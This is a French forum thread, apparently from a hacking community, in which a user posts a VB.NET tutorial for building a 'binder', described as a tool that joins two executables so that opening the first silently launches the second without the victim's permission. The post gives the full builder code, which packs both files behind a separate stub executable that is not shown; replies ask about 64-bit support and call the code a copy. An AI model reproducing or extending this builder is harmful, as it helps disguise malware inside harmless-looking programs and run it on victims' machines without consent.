[vb]Créer un Binder

[Oxen]

Voila une petite tuto, comment créer un binder !
Un binder est un programme qui sert a mettre un programme dans un autre de façon a ce que quand on ouvre le premier le deuxième s'ouvre sans votre permission.
__________________
Allez on commence :
Créer un new projet windows form
Placez :
-deux textbox
-deux bouton
et c'est tout !
Place au codes :
Dans le bouton 1 que vous appellerez "cherche les fichier" ou "Load", double clique et mettez :

 Dim ofd As New OpenFileDialog
        ofd.Title = ""
        ofd.Filter = "*.exe | *.exe"
        ofd.Title = "File 1"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
        ofd.Title = "File 2"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName

Puis dans le bouton 2 que vous appellerez "binder" mettez :

Dim stub, File_One, File_Two, Filename1, filename2 As String
        Const FileSplit = "47150"
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        File_One = Space(LOF(1))
        FileGet(1, File_One)
        FileClose(1)

        FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        File_Two = Space(LOF(2))
        FileGet(2, File_Two)
        FileClose(2)

        FileOpen(3, Application.StartupPath & "\NathansBinderStub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(3))
        FileGet(3, stub)
        FileClose(3)
        Dim OutputFile As String
        Dim sfd As New SaveFileDialog
        sfd.Filter = "*.exe | *.exe"
        If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
            OutputFile = sfd.FileName
        Else : Exit Sub
        End If
        Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
        filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
        FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
        FileClose(3)
        MsgBox("Binded")
        Me.Close()

et c'est tout ! :lol:
bref sa devrait donner sa :
Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!

Voila c'est tout j'espère que sa vous a aider désoler pour les fautes d'orthographe :lol:.
tuto by moi, photos by moi
A+

 

[gogogeta63]

Merci du partage même si c'est facile à faire.

 

[delphi_jb]

heuuu

Merci, très bon tuto.

Néamoins, le fichier construit ne tourne pas sous un system 64 bits... :nanan:

comment faire pour qu'il tourne sur un system 32 et 64 bits ?

merci

 

[casimir]

tu devrais développer ton truc car la sa ressemble a un copier coller tout basic

Par exemple comment ton prog fait pour que le processus hôte exécute le processus cacher .......



Edit : en faite oui c est juste du C/C d'un sujet de presque 2 ans deja

 

[Ben]

Ah ouai c'est mosh